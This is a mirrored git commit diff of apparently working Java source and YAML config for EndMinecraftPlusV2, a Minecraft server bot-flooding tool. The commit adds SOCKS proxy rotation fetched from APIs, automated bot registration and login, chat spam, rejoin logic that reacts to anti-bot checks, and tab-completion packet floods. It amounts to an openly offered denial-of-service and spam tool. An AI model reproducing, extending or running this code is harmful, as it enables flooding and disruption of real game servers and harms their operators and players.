mirror of
https://github.com/SerendipityR-2022/EndMinecraftPlusV2.git
synced 2024-10-31 20:08:00 +00:00
修复了一些Bug 添加Socks代理支持
This commit is contained in:
parent
b1e671f9f2
commit
d909779870
@ -63,8 +63,8 @@ public class BotAttack extends IAttack {
|
||||
this.modList = modList;
|
||||
}
|
||||
|
||||
public String getRandMessage() {
|
||||
return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6));
|
||||
public String getRandMessage(String userName) {
|
||||
return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName)));
|
||||
}
|
||||
|
||||
public void start() {
|
||||
@ -73,11 +73,16 @@ public class BotAttack extends IAttack {
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected()) {
|
||||
if (c.getSession().hasFlag("login")) {
|
||||
c.getSession().send(new ClientChatPacket(getRandMessage()));
|
||||
if (ConfigUtil.ChatSpam) {
|
||||
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
} else if (c.getSession().hasFlag("join")) {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
}
|
||||
}
|
||||
|
||||
@ -115,11 +120,14 @@ public class BotAttack extends IAttack {
|
||||
if (this.attack_tab) {
|
||||
tabThread = new Thread(() -> {
|
||||
while (true) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
|
||||
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||
}
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(10);
|
||||
}
|
||||
});
|
||||
@ -153,11 +161,23 @@ public class BotAttack extends IAttack {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
|
||||
Proxy.Type proxyType;
|
||||
switch (ConfigUtil.ProxyType) {
|
||||
case 2:
|
||||
proxyType = Proxy.Type.SOCKS;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = Proxy.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(10 * 1000);
|
||||
client.getSession().setWriteTimeout(10 * 1000);
|
||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
|
||||
@ -208,32 +228,34 @@ public class BotAttack extends IAttack {
|
||||
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
||||
if (msg.contains(rejoinDetect)) {
|
||||
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||
createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
||||
rejoin++;
|
||||
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
||||
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||
|
||||
rejoin++;
|
||||
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||
clientName.put(rejoinClient, username);
|
||||
clients.add(rejoinClient);
|
||||
rejoinClient.getSession().connect(false);
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
||||
|
||||
boolean canBreak = false;
|
||||
|
||||
for (Client client:clientName.keySet()) {
|
||||
if (clientName.get(client).contains(username)) {
|
||||
canBreak = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (canBreak) {
|
||||
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (ConfigUtil.ShowFails) {
|
||||
msg = e.getCause().getMessage();
|
||||
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
||||
}
|
||||
|
||||
failed++;
|
||||
alivePlayers.remove(username);
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
|
||||
client.getSession().disconnect("");
|
||||
clients.remove(client);
|
||||
}
|
||||
});
|
||||
return client;
|
||||
@ -294,10 +316,13 @@ public class BotAttack extends IAttack {
|
||||
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||
MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
|
||||
} else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
session.send(new ClientPlayerMovementPacket(true));
|
||||
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
|
||||
try {
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
session.send(new ClientPlayerMovementPacket(true));
|
||||
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
|
||||
} catch (Exception ignored) {}
|
||||
|
||||
} else if (recvPacket instanceof ServerChatPacket) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
clickVerifiesHandle(chatPacket.getMessage(), session, username);
|
||||
|
@ -8,7 +8,7 @@ import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||
|
||||
public class EndMinecraftPlusV2 {
|
||||
public static String ver = "1.0_Dev";
|
||||
public static String ver = "1.0.2_Dev";
|
||||
|
||||
public static void main(String[] args) {
|
||||
System.out.println("========================-Forked by SerendipityR-========================");
|
||||
|
@ -22,6 +22,7 @@ public class ConfigUtil {
|
||||
public static Boolean TabAttack;
|
||||
public static Boolean AntiAttackMode;
|
||||
public static String DoubleExploitPlayer;
|
||||
public static Boolean ShowFails;
|
||||
public static String BotName;
|
||||
public static Integer BotCount;
|
||||
public static Boolean RegisterAndLogin;
|
||||
@ -31,8 +32,10 @@ public class ConfigUtil {
|
||||
public static Long RejoinDelay;
|
||||
public static List<String> ClickVerifiesDetect;
|
||||
public static List<String> CustomChat;
|
||||
public static Integer ChatDelay;
|
||||
public static Boolean ChatSpam;
|
||||
public static Long ChatDelay;
|
||||
public static Integer ProxyGetType;
|
||||
public static Integer ProxyType;
|
||||
public static Integer ProxyUpdateTime;
|
||||
public static File ProxyFile;
|
||||
public static List<String> ProxyAPIs;
|
||||
@ -57,6 +60,7 @@ public class ConfigUtil {
|
||||
TabAttack = config.getBoolean("AttackSettings.TabAttack");
|
||||
AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");
|
||||
DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer");
|
||||
ShowFails = config.getBoolean("AttackSettings.ShowFails");
|
||||
BotName = config.getString("BotSettings.BotName");
|
||||
BotCount = config.getInt("BotSettings.BotCount");
|
||||
RegisterAndLogin = config.getBoolean("BotSettings.Register&Login");
|
||||
@ -65,9 +69,11 @@ public class ConfigUtil {
|
||||
RejoinDetect = config.getStringList("BotSettings.RejoinDetect");
|
||||
RejoinDelay = config.getLong("BotSettings.RejoinDelay");
|
||||
ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
|
||||
ChatSpam = config.getBoolean("BotSettings.ChatSpam");
|
||||
CustomChat = config.getStringList("BotSettings.CustomChat");
|
||||
ChatDelay = config.getInt("BotSettings.ChatDelay");
|
||||
ChatDelay = config.getLong("BotSettings.ChatDelay");
|
||||
ProxyGetType = config.getInt("Proxy.GetType");
|
||||
ProxyType = config.getInt("Proxy.ProxyType");
|
||||
ProxyUpdateTime = config.getInt("Proxy.UpdateTime");
|
||||
ProxyFile = new File(config.getString("Proxy.File"));
|
||||
ProxyAPIs = config.getStringList("Proxy.APIs");
|
||||
|
@ -8,7 +8,7 @@ import java.util.List;
|
||||
import java.util.regex.Matcher;
|
||||
|
||||
public class ProxyUtil {
|
||||
public static final List<String> proxies = new ArrayList<>();
|
||||
public static List<String> proxies = new ArrayList<>();
|
||||
|
||||
public static void getProxies() {
|
||||
String getMethod;
|
||||
@ -16,36 +16,59 @@ public class ProxyUtil {
|
||||
switch (ConfigUtil.ProxyGetType) {
|
||||
case 2:
|
||||
getMethod = "通过本地文件获取";
|
||||
getProxiesFromFile();
|
||||
getProxiesFromFile(false, true);
|
||||
break;
|
||||
case 3:
|
||||
getMethod = "通过API+本地文件获取";
|
||||
getProxiesFromFile();
|
||||
getProxiesFromAPIs();
|
||||
getProxiesFromFile(false, true);
|
||||
getProxiesFromAPIs(false, false);
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
getMethod = "通过API获取";
|
||||
getProxiesFromAPIs();
|
||||
getProxiesFromAPIs(false, true);
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil");
|
||||
LogUtil.emptyLog();
|
||||
}
|
||||
|
||||
public static void getProxiesFromAPIs() {
|
||||
for (String url:ConfigUtil.ProxyAPIs) {
|
||||
String ips = HTTPUtil.sendGet(url);
|
||||
public static void getProxiesFromAPIs(boolean async, boolean replace) {
|
||||
if (async) {
|
||||
List<String> newProxies = proxies;
|
||||
|
||||
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
|
||||
while (matcher.find()) {
|
||||
String ip = matcher.group();
|
||||
proxies.add(ip);
|
||||
if (replace) {
|
||||
newProxies = new ArrayList<>();
|
||||
}
|
||||
|
||||
for (String url:ConfigUtil.ProxyAPIs) {
|
||||
String ips = HTTPUtil.sendGet(url);
|
||||
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
|
||||
while (matcher.find()) {
|
||||
String ip = matcher.group();
|
||||
newProxies.add(ip);
|
||||
}
|
||||
}
|
||||
|
||||
proxies = newProxies;
|
||||
} else {
|
||||
for (String url:ConfigUtil.ProxyAPIs) {
|
||||
if (replace) {
|
||||
proxies = new ArrayList<>();
|
||||
}
|
||||
|
||||
String ips = HTTPUtil.sendGet(url);
|
||||
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
|
||||
while (matcher.find()) {
|
||||
String ip = matcher.group();
|
||||
proxies.add(ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void getProxiesFromFile() {
|
||||
|
||||
public static void getProxiesFromFile(boolean async, boolean replace) {
|
||||
try {
|
||||
if (!ConfigUtil.ProxyFile.exists()) {
|
||||
LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null);
|
||||
@ -54,8 +77,27 @@ public class ProxyUtil {
|
||||
|
||||
BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile));
|
||||
String tempString;
|
||||
while ((tempString = reader.readLine()) != null) {
|
||||
proxies.add(tempString);
|
||||
|
||||
if (async) {
|
||||
List<String> newProxies = proxies;
|
||||
|
||||
if (replace) {
|
||||
newProxies = new ArrayList<>();
|
||||
}
|
||||
|
||||
while ((tempString = reader.readLine()) != null) {
|
||||
newProxies.add(tempString);
|
||||
}
|
||||
|
||||
proxies = newProxies;
|
||||
} else {
|
||||
if (replace) {
|
||||
proxies = new ArrayList<>();
|
||||
}
|
||||
|
||||
while ((tempString = reader.readLine()) != null) {
|
||||
proxies.add(tempString);
|
||||
}
|
||||
}
|
||||
|
||||
reader.close();
|
||||
@ -68,9 +110,18 @@ public class ProxyUtil {
|
||||
new Thread(() -> {
|
||||
while (true) {
|
||||
OtherUtils.doSleep(time * 1000L);
|
||||
synchronized (proxies) {
|
||||
getProxiesFromAPIs();
|
||||
|
||||
switch (ConfigUtil.ProxyGetType) {
|
||||
case 1:
|
||||
getProxiesFromAPIs(true, true);
|
||||
break;
|
||||
case 3:
|
||||
getProxiesFromFile(true, true);
|
||||
getProxiesFromAPIs(true, false);
|
||||
break;
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
@ -21,6 +21,7 @@ AttackSettings:
|
||||
TabAttack: true
|
||||
AntiAttackMode: true
|
||||
DoubleExploitPlayer: "ImOldSix_666"
|
||||
ShowFails: false
|
||||
|
||||
BotSettings:
|
||||
# 可用占位符:
|
||||
@ -38,13 +39,14 @@ BotSettings:
|
||||
RegisterCommands:
|
||||
- "/register $pwd $pwd"
|
||||
- "/login $pwd"
|
||||
ChatSpam: true
|
||||
CustomChat:
|
||||
- "喵喵喵萌喵~ $rnd"
|
||||
- "喵喵喵萌~ $rnd"
|
||||
- "喵喵喵~ $rnd"
|
||||
- "喵喵~ $rnd"
|
||||
- "喵~ $rnd"
|
||||
ChatDelay: 3
|
||||
ChatDelay: 3000
|
||||
|
||||
Proxy:
|
||||
# 代理获取方式:
|
||||
@ -52,6 +54,10 @@ Proxy:
|
||||
# 2 - File - 从本地读取
|
||||
# 3 - File + API - 两种方式同时获取
|
||||
GetType: 1
|
||||
# 代理类型:
|
||||
# 1 - HTTP/HTTPS
|
||||
# 2 - SOCKS4/SOCKS5
|
||||
ProxyType: 1
|
||||
UpdateTime: 300
|
||||
File: "proxies.txt"
|
||||
APIs:
|
||||
|
Loading…
Reference in New Issue
Block a user